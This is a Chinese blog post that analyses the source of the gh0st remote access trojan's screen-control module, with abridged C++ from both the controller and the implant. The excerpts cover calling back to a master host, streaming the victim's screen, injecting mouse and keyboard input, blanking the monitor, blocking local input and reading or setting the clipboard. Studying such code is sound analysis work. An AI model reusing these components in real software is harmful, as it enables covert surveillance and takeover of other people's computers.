您的位置:首页 > 其它

gh0st 远程桌面控制源码分析

2011-08-05 10:22 477 查看
远程主机流程图:



客户机流程图:



CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:

BOOL CGh0stApp::InitInstance()

{

((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);

}

Activate 函数构造了一个 CIOCPServer 对象,然后调用 Initialize 函数初始化:

void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)

{

m_iocpServer = new CIOCPServer;

m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)

}

Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端

bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)

{

m_pNotifyProc = pNotifyProc;

m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));

nRet = listen(m_socListen, SOMAXCONN);

m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId);

InitializeIOCP();

}

IOCP 注册的回调函数 NotifyProc ,

收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,

收到 NC_RECEIVE 调用 ProcessReceive 函数,

收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数

void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)

{

switch (nCode)

{

case NC_CLIENT_CONNECT:

break;

case NC_CLIENT_DISCONNECT:

g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);

break;

case NC_TRANSMIT:

break;

case NC_RECEIVE:

ProcessReceive(pContext);

break;

case NC_RECEIVE_COMPLETE:

ProcessReceiveComplete(pContext);

break;

}

}

void CMainFrame::ProcessReceive(ClientContext *pContext)

{

if (pContext == NULL)

return;

// 如果管理对话框打开,交给相应的对话框处理

CDialog *dlg = (CDialog *)pContext->m_Dialog[1];

// 交给窗口处理

if (pContext->m_Dialog[0] > 0)

{

switch (pContext->m_Dialog[0])

{

case SCREENSPY_DLG:

((CScreenSpyDlg *)dlg)->OnReceive();

break;

default:

break;

}

return;

}

}

void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)

{

if (pContext == NULL)

return;

// 如果管理对话框打开,交给相应的对话框处理

CDialog *dlg = (CDialog *)pContext->m_Dialog[1];

// 交给窗口处理

if (pContext->m_Dialog[0] > 0)

{

switch (pContext->m_Dialog[0])

{

case SCREENSPY_DLG:

((CScreenSpyDlg *)dlg)->OnReceiveComplete();

break;

default:

break;

}

return;

}

switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])

{

case TOKEN_AUTH: // 要求验证

m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);

break;

case TOKEN_HEARTBEAT: // 回复心跳包

{

BYTE bToken = COMMAND_REPLAY_HEARTBEAT;

m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));

}

break;

case TOKEN_LOGIN: // 上线包

{

if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())

{

closesocket(pContext->m_Socket);

}

else

{

pContext->m_bIsMainSocket = true;

g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);

}

// 激活

BYTE bToken = COMMAND_ACTIVED;

m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));

}

break;

case TOKEN_BITMAPINFO: //

// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事

g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);

break;

// 命令停止当前操作

default:

closesocket(pContext->m_Socket);

break;

}

}

现在从客户连接列表右键弹出菜单,选择“屏幕控制”选项开始。

ON_COMMAND(IDM_SCREENSPY, OnScreenspy)

void CGh0stView::OnScreenspy()

{

BYTE bToken = COMMAND_SCREEN_SPY;

SendSelectCommand(&bToken, sizeof(BYTE));

}

void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize)

{

ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem);

m_iocpServer->Send(pContext, pData, nSize);

}

void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)

{

//使用zlib压缩数据

//构造包头 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen

//填充压缩后的数据

OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);

PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);

}

IOCP 的线程函数收到发送过来的消息,将这个消息映射到函数 IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)

unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext)

{

pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);

}

bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)

{

OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);

m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //表示正在传输,无实际意义

int nRetVal = WSASend(pContext->m_Socket, //发送命令到客户机

&pContext->m_wsaOutBuffer,

1,

&pContext->m_wsaOutBuffer.len,

ulFlags,

&pOverlap->m_ol,

NULL);

}

客户机收到命令后回复主机已经准备好,ThreadPoolFunc 收到消息做好读操作

IO_MESSAGE_HANDLER(IORead, OnClientReading)

bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)

{

//验证数据包格式

//zlib解压缩数据

//通知主框架接收完成

m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);

}

void CALLBACK CMainFrame::NotifyProc 函数响应操作,调用 ProcessReceiveComplete 函数,

case TOKEN_BITMAPINFO: 响应操作

g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);

ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)

gh0stView 收到消息,转到 OnOpenScreenSpyDialog 函数处理

LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)

{

//创建了一个 CScreenSpyDlg 的非模式对话框

CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);

}

服务端不停地收到客户机发过来的数据,IOCP 接收线程产生 NC_RECEIVE 消息,CMainFrame::NotifyProc 处理,调用 ProcessReceive

显示帧数和进度 //192.168.1.101 800 * 600 第1532帧 100%

NC_RECEIVE_COMPLETE 消息调用 ProcessReceiveComplete 函数处理

((CScreenSpyDlg *)dlg)->OnReceiveComplete();

void CScreenSpyDlg::OnReceiveComplete()

{

//画图像

}

CScreenSpyDlg 重载 CDialog 的虚函数 PreTranslateMessage(MSG* pMsg) ,处理鼠标键盘事件

BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)

{

#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)

CRect rect;

GetClientRect(&rect);

switch (pMsg->message)

{

case WM_LBUTTONDOWN:

case WM_LBUTTONUP:

case WM_RBUTTONDOWN:

case WM_RBUTTONUP:

case WM_MOUSEMOVE:

case WM_LBUTTONDBLCLK:

case WM_RBUTTONDBLCLK:

case WM_MBUTTONDOWN:

case WM_MBUTTONUP:

case WM_MOUSEWHEEL:

{

MSG msg;

memcpy(&msg, pMsg, sizeof(MSG));

msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);

msg.pt.x += m_HScrollPos;

msg.pt.y += m_VScrollPos;

SendCommand(&msg);

}

break;

case WM_KEYDOWN:

case WM_KEYUP:

case WM_SYSKEYDOWN:

case WM_SYSKEYUP:

if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)

{

MSG msg;

memcpy(&msg, pMsg, sizeof(MSG));

msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);

msg.pt.x += m_HScrollPos;

msg.pt.y += m_VScrollPos;

SendCommand(&msg);

}

if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)

return true;

break;

default:

break;

}

return CDialog::PreTranslateMessage(pMsg);

}

SendCommand 发送控制命令 COMMAND_SCREEN_CONTROL ,带上实际的消息数据到客户机

void CScreenSpyDlg::SendCommand(MSG* pMsg)

{

if (!m_bIsCtrl)

return;

LPBYTE lpData = new BYTE[sizeof(MSG) + 1];

lpData[0] = COMMAND_SCREEN_CONTROL;

memcpy(lpData + 1, pMsg, sizeof(MSG));

m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);

delete[] lpData;

}

-----------------------------------------------------------------------------

客户端主函数:

创建一个 CClientSocket 对象,一个 CKernelManager 对象,关联 socketClient 到 manager

int main(int argc, char **argv)

{

CClientSocket socketClient;

socketClient.Connect(lpszHost, dwPort);

CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);

socketClient.setManagerCallBack(&manager);

}

class CKernelManager : public CManager

{

public:

virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

}

OnReceive 函数是个虚函数

Connect 函数连接到服务器,同时创建了一个工作线程 WorkThread,

bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)

{

connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr))

m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);

}

WorkThread 接受数据,调用 OnRead 成员函数处理数据,

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)

{

int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);

if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);

}

OnRead 函数核查数据,转交给成员对象 m_pManager 处理,

void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )

{

m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

}

class CClientSocket

{

private:

CManager *m_pManager;

}

m_pManager 是CClientSocket 的一个私有成员函数指针,指向 CManager,

socketClient.setManagerCallBack(&manager);

这句代码设置 m_pManager 指向 CKernelManager 的对象,由于 CKernelManager 重新定义了 OnReceive 虚函数,

所以 m_pManager->OnReceive 实际上调用了 CKernelManager 的 OnReceive

void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)

{

switch (lpBuffer[0])

{

case COMMAND_ACTIVED:

InterlockedExchange((LONG *)&m_bIsActived, true);

break;

case COMMAND_SCREEN_SPY: // 屏幕查看

m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,

(LPVOID)m_pClient->m_Socket, 0, NULL, true);

break;

case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包

break;

}

}

Loop_ScreenManager 创建了一个 CClientSocket 对象,连接到远程主机,然后创建了一个 CScreenManager 对象,关联到 socketClient

DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)

{

CClientSocket socketClient;

if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))

return -1;

CScreenManager manager(&socketClient);

socketClient.run_event_loop();

return 0;

}

CScreenManager 构造函数创建了 2 个 工作线程

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)

{

m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);

m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);

}

WorkThread 这个工作线程做的工作就是首先发送一个 TOKEN_BITMAPINFO 类型的数据包,

远程主机收到这个包后,CMainFrame::NotifyProc 函数响应,调用 ProcessReceiveComplete 函数,

case TOKEN_BITMAPINFO: 响应操作

g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);

自定义窗口消息被传到 gh0stView,CGh0stView::OnOpenScreenSpyDialog 函数被调用,此时一个 CScreenSpyDlg 对象被创建。

然后做的工作就是不停地发送桌面位图到远程主机,

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)

{

CScreenManager *pThis = (CScreenManager *)lparam;

pThis->sendBITMAPINFO();

// 等控制端对话框打开

pThis->WaitForDialogOpen();

pThis->sendFirstScreen();

try // 控制端强制关闭时会出错

{

while (pThis->m_bIsWorking)

pThis->sendNextScreen();

}catch(...){};

return 0;

}

ControlThread 函数的主要目的是让客户机一直让显示器省电,黑屏

DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)

{

if (pThis->m_bIsBlankScreen)

{

SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);

SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);

bIsScreenBlanked = true;

}

}

下面看客户端和服务器端是怎么进行屏幕控制的

回到 Loop_ScreenManager 函数,有一句代码 CScreenManager manager(&socketClient);

class CScreenManager : public CManager

CScreenManager 首先调用基类的构造函数 CManager(pClient)

CManager 和 CClientSocket 是友元类,CManager 构造函数设置成员函数指针 m_pClient指向传进来的 pClient,同时设置 CClientSocket

的成员函数指针 m_pManager 指向自己 this

CManager::CManager(CClientSocket *pClient)

{

m_pClient = pClient;

m_pClient->setManagerCallBack(this);

}

void CClientSocket::setManagerCallBack( CManager *pManager )

{

m_pManager = pManager;

}

CScreenManager 重新定义了 CManager 的虚函数 OnReceive,当 CClientSocket 对象的线程函数收到数据包时候,

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 会调用

pThis->OnRead((LPBYTE)buff, nSize); OnRead 会调用

m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)

{

try

{

switch (lpBuffer[0])

{

case COMMAND_NEXT:

// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回

NotifyDialogIsOpen();

break;

case COMMAND_SCREEN_RESET:

ResetScreen(*(LPBYTE)&lpBuffer[1]);

break;

case COMMAND_ALGORITHM_RESET:

m_bAlgorithm = *(LPBYTE)&lpBuffer[1];

m_pScreenSpy->setAlgorithm(m_bAlgorithm);

break;

case COMMAND_SCREEN_CTRL_ALT_DEL:

::SimulateCtrlAltDel();

break;

case COMMAND_SCREEN_CONTROL:

{

// 远程仍然可以操作

BlockInput(false);

ProcessCommand(lpBuffer + 1, nSize - 1);

BlockInput(m_bIsBlockInput);

}

break;

case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定

m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];

break;

case COMMAND_SCREEN_BLANK:

m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];

break;

case COMMAND_SCREEN_CAPTURE_LAYER:

m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];

m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);

break;

case COMMAND_SCREEN_GET_CLIPBOARD:

SendLocalClipboard();

break;

case COMMAND_SCREEN_SET_CLIPBOARD:

UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);

break;

default:

break;

}

}catch(...){}

}

服务端发送的鼠标键盘事件由 ProcessCommand 函数处理,此函数的功能就是切换到当前桌面,模拟鼠标键盘输入

SwitchInputDesktop()是自定义函数

void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )

{

// 数据包不合法

if (nSize % sizeof(MSG) != 0)

return;

SwitchInputDesktop();

// 命令个数

int nCount = nSize / sizeof(MSG);

// 处理多个命令

for (int i = 0; i < nCount; i++)

{

MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));

switch (pMsg->message)

{

case WM_LBUTTONDOWN:

case WM_LBUTTONUP:

case WM_RBUTTONDOWN:

case WM_RBUTTONUP:

case WM_MOUSEMOVE:

case WM_LBUTTONDBLCLK:

case WM_RBUTTONDBLCLK:

case WM_MBUTTONDOWN:

case WM_MBUTTONUP:

{

POINT point;

point.x = LOWORD(pMsg->lParam);

point.y = HIWORD(pMsg->lParam);

SetCursorPos(point.x, point.y);

SetCapture(WindowFromPoint(point));

}

break;

default:

break;

}

switch(pMsg->message)

{

case WM_LBUTTONDOWN:

mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);

break;

case WM_LBUTTONUP:

mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);

break;

case WM_RBUTTONDOWN:

mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);

break;

case WM_RBUTTONUP:

mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);

break;

case WM_LBUTTONDBLCLK:

mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);

mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);

break;

case WM_RBUTTONDBLCLK:

mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);

mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);

break;

case WM_MBUTTONDOWN:

mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);

break;

case WM_MBUTTONUP:

mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);

break;

case WM_MOUSEWHEEL:

mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);

break;

case WM_KEYDOWN:

case WM_SYSKEYDOWN:

keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);

break;

case WM_KEYUP:

case WM_SYSKEYUP:

keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);

break;

default:

break;

}

}

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: